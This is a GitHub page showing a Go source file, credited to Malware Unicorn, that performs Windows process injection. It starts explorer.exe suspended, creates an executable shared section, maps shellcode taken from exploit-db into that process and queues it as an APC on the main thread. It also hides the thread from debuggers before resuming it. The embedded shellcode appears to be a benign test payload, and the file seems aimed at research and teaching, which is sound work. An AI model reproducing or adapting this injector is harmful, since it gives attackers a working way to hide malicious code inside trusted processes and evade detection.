-
Notifications
You must be signed in to change notification settings - Fork 17
/
main.go
343 lines (317 loc) · 10.3 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
// +build windows
/*
Golang Windows PE Injeciton with NewSection & APC Thread
========================================================
Title: Golang Windows PE Injeciton with NewSection & APC Thread
Release date: 07/12/2021
Author: Amanda Rousseau (Malware Unicorn)
Tested on: Win10 amd64
Use: GOOS=windows GOARCH=386 go build .
*/
package main
import (
"fmt"
"log"
"os"
"path/filepath"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
func IsSysWow64(ntdll syscall.Handle) (bool, error) {
var pInfo uintptr
pInfoLen := uint32(unsafe.Sizeof(pInfo))
ZwQueryInformationProcess, err := syscall.GetProcAddress(
syscall.Handle(ntdll), "ZwQueryInformationProcess")
if err != nil {
return false, err
}
r, _, err := syscall.Syscall6(uintptr(ZwQueryInformationProcess),
5,
uintptr(windows.CurrentProcess()), // ProcessHandle
uintptr(windows.ProcessWow64Information), // ProcessInformationClass
uintptr(unsafe.Pointer(&pInfo)), // ProcessInformation
uintptr(pInfoLen), // ProcessInformationLength
uintptr(unsafe.Pointer(&pInfoLen)), // ReturnLength
0)
if r != 0 {
log.Printf("ZwQueryInformationProcess ERROR CODE: %x", r)
return false, err
}
if pInfo != 0 {
return true, nil
}
return false, nil
}
const SEC_COMMIT = 0x08000000
const SECTION_WRITE = 0x2
const SECTION_READ = 0x4
const SECTION_EXECUTE = 0x8
const SECTION_RWX = SECTION_WRITE | SECTION_READ | SECTION_EXECUTE
func CreateNewSection(ntdll syscall.Handle) (uintptr, error) {
var err error
NtCreateSection, err := syscall.GetProcAddress(
syscall.Handle(ntdll), "NtCreateSection")
if err != nil {
return 0, err
}
var section uintptr
size := int64(0xF001F)
r, a, err := syscall.Syscall9(uintptr(NtCreateSection),
7,
uintptr(unsafe.Pointer(§ion)), // PHANDLE SectionHandle,
SECTION_RWX, // ACCESS_MASK DesiredAccess,
0, // POBJECT_ATTRIBUTES ObjectAttributes,
uintptr(unsafe.Pointer(&size)), // PLARGE_INTEGER MaximumSize,
windows.PAGE_EXECUTE_READWRITE, // ULONG SectionPageProtection,
SEC_COMMIT, // ULONG AllocationAttributes,
0, // HANDLE FileHandle
0,
0)
if r != 0 {
log.Printf("NtCreateSection ERROR CODE: %x", r)
return 0, err
}
log.Printf("%x %x %s", r, a, err)
if section == 0 {
return 0, fmt.Errorf("NtCreateSection failed for unknown reason")
}
log.Printf("Section: %0x\n", section)
return section, nil
}
func CreateProcessInt(kernel32 syscall.Handle, procPath string) (uintptr, uintptr, error) {
//RtlDosPathNameToNtPathName_U
CreateProcessInternalW, err := syscall.GetProcAddress(
syscall.Handle(kernel32), "CreateProcessInternalW")
if err != nil {
log.Fatalln(err)
return 0, 0, err
}
var si windows.StartupInfo
var pi windows.ProcessInformation
log.Println(procPath)
r, a, err := syscall.Syscall12(uintptr(CreateProcessInternalW),
12,
0, // IN HANDLE hUserToken,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(procPath))), // IN LPCWSTR lpApplicationName,
0, // IN LPWSTR lpCommandLine,
0, // IN LPSECURITY_ATTRIBUTES lpProcessAttributes,
0, // IN LPSECURITY_ATTRIBUTES lpThreadAttributes,
0, // IN BOOL bInheritHandles,
uintptr(windows.CREATE_SUSPENDED), // IN DWORD dwCreationFlags,
0, // IN LPVOID lpEnvironment,
0, // IN LPCWSTR lpCurrentDirectory,
uintptr(unsafe.Pointer(&si)), // IN LPSTARTUPINFOW lpStartupInfo,
uintptr(unsafe.Pointer(&pi)), // IN LPPROCESS_INFORMATION lpProcessInformation,
0) // OUT PHANDLE hNewToken)
if r > 1 { // hack for error code invalid function
log.Printf("CreateProcessInternalW ERROR CODE: %x", r)
return 0, 0, err
}
log.Printf("%x %x %s %x", r, a, err, pi.Process)
return uintptr(pi.Process), uintptr(pi.Thread), nil
}
func MapViewOfSection(
ntdll syscall.Handle, section uintptr,
phandle uintptr, commitSize uint32,
viewSize uint32) (uintptr, uint32, error) {
if phandle == 0 {
return 0, 0, nil
}
var err error
ZwMapViewOfSection, err := syscall.GetProcAddress(
syscall.Handle(ntdll), "ZwMapViewOfSection")
if err != nil {
return 0, 0, err
}
var sectionBaseAddr uintptr
r, a, err := syscall.Syscall12(uintptr(ZwMapViewOfSection),
10,
section, // HANDLE SectionHandle,
phandle, // HANDLE ProcessHandle,
uintptr(unsafe.Pointer(§ionBaseAddr)), // PVOID *BaseAddress,
0, // ULONG_PTR ZeroBits,
uintptr(commitSize), // SIZE_T CommitSize,
0, // PLARGE_INTEGER SectionOffset,
uintptr(unsafe.Pointer(&viewSize)), // PSIZE_T ViewSize,
1, // SECTION_INHERIT InheritDisposition,
0, // ULONG AllocationType,
windows.PAGE_READWRITE, // ULONG Win32Protect
0,
0)
if r != 0 {
log.Printf("ZwMapViewOfSection ERROR CODE: %x", r)
return 0, 0, err
}
log.Printf("%x %x %s", r, a, err)
return sectionBaseAddr, viewSize, nil
}
/*
func UnMapViewOfSection(ntdll syscall.Handle) error {
return nil
}
func AllocateVirtualMemory(ntdll syscall.Handle) error {
return nil
}
func WriteVirtualMemory(ntdll syscall.Handle) error {
return nil
}
func FreeVirtualMemory(ntdll syscall.Handle) error {
return nil
}
func ProtectVirtualMemory(ntdll syscall.Handle) error {
return nil
}
*/
func QueueApcThread(ntdll syscall.Handle, thandle uintptr, funcaddr uintptr) error {
var err error
NtQueueApcThread, err := syscall.GetProcAddress(
syscall.Handle(ntdll), "NtQueueApcThread")
if err != nil {
return err
}
r, _, err := syscall.Syscall6(uintptr(NtQueueApcThread),
5,
thandle, // IN HANDLE ThreadHandle,
funcaddr, // IN PIO_APC_ROUTINE ApcRoutine, (RemoteSectionBaseAddr)
0, // IN PVOID ApcRoutineContext OPTIONAL,
0, // IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
0, // IN ULONG ApcReserved OPTIONAL
0)
if r != 0 {
log.Printf("NtQueueApcThread ERROR CODE: %x", r)
return err
}
return nil
}
func SetInformationThread(ntdll syscall.Handle, thandle uintptr) error {
var err error
NtSetInformationThread, err := syscall.GetProcAddress(
syscall.Handle(ntdll), "NtSetInformationThread")
if err != nil {
return err
}
ti := int32(0x11)
r, _, err := syscall.Syscall6(uintptr(NtSetInformationThread),
4,
thandle, // HANDLE ThreadHandle,
uintptr(ti), // THREADINFOCLASS ThreadInformationClass,
0, // PVOID ThreadInformation,
0, // ULONG ThreadInformationLength
0,
0)
if r != 0 {
log.Printf("NtSetInformationThread ERROR CODE: %x", r)
return err
}
return nil
}
func ResumeThread(ntdll syscall.Handle, thandle uintptr) error {
NtResumeThread, err := syscall.GetProcAddress(
syscall.Handle(ntdll), "NtResumeThread")
if err != nil {
return err
}
r, _, err := syscall.Syscall(uintptr(NtResumeThread),
2,
thandle, // IN HANDLE ThreadHandle,
0, // OUT PULONG SuspendCount OPTIONAL
0)
if r != 0 {
log.Printf("NtResumeThread ERROR CODE: %x", r)
return err
}
return nil
}
type size_t = int
type usp = unsafe.Pointer
func Memcpy(dest uintptr, src unsafe.Pointer, len size_t) uintptr {
cnt := len >> 3
var i size_t = 0
for i = 0; i < cnt; i++ {
var pdest *uint64 = (*uint64)(usp(dest + uintptr(8*i)))
var psrc *uint64 = (*uint64)(usp(uintptr(src) + uintptr(8*i)))
*pdest = *psrc
}
left := len & 7
for i = 0; i < left; i++ {
var pdest *uint8 = (*uint8)(usp(dest + uintptr(8*cnt+i)))
var psrc *uint8 = (*uint8)(usp(uintptr(src) + uintptr(8*cnt+i)))
*pdest = *psrc
}
return dest
}
func main() {
var err error
var targetProc string = "explorer.exe"
ntdll, err := syscall.LoadLibrary("ntdll.dll")
if err != nil {
log.Fatalln(err)
}
defer syscall.FreeLibrary(ntdll)
kernel32, err := syscall.LoadLibrary("kernel32.dll")
if err != nil {
log.Fatalln(err)
}
defer syscall.FreeLibrary(kernel32)
isSysWow64, err := IsSysWow64(ntdll)
if err != nil {
log.Fatalln(err)
}
systemRoot := filepath.VolumeName(os.Getenv("SYSTEMROOT")) + "\\"
if isSysWow64 {
log.Println("Is 32bit")
targetProc = fmt.Sprintf("%sWindows\\SysWOW64\\%s", systemRoot, targetProc)
} else {
log.Println("Is 64bit")
targetProc = fmt.Sprintf("%sWindows\\System32\\%s", systemRoot, targetProc)
}
procHandle, threadHandle, err := CreateProcessInt(kernel32, targetProc)
if err != nil {
log.Fatalln(err)
}
section, err := CreateNewSection(ntdll)
if err != nil {
log.Fatalln(err)
}
var testSize uint32 = 512
//testBuff := []byte("HELLO WORLD!")
// REF: https://www.exploit-db.com/exploits/28996
shellcodeBuff := []byte("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" +
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" +
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" +
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" +
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" +
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x6f\x72" +
"\x6e\x01\x68\x55\x6e\x69\x63\x68\x20\x4d\x61\x6c\x89\xe1\xfe" +
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")
// Local map section
curHandle := uintptr(windows.CurrentProcess())
localBaseAddr, _, err := MapViewOfSection(ntdll, section, curHandle, testSize, 0)
if err != nil {
log.Fatalln(err)
}
// write to current baseAddr
log.Printf("MapViewOfSection SUCCESS")
Memcpy(localBaseAddr, unsafe.Pointer(&shellcodeBuff[0]), len(shellcodeBuff))
// Remote map section
remoteBaseAddr, _, err := MapViewOfSection(ntdll, section, procHandle, testSize, 0)
if err != nil {
log.Fatalln(err)
}
log.Printf("localBaseAddr: %x \nremoteBaseAddr: %x\n", localBaseAddr, remoteBaseAddr)
time.Sleep(2 * time.Second)
err = QueueApcThread(ntdll, threadHandle, remoteBaseAddr)
if err != nil {
log.Fatalln(err)
}
err = SetInformationThread(ntdll, threadHandle)
if err != nil {
log.Fatalln(err)
}
err = ResumeThread(ntdll, threadHandle)
if err != nil {
log.Fatalln(err)
}
}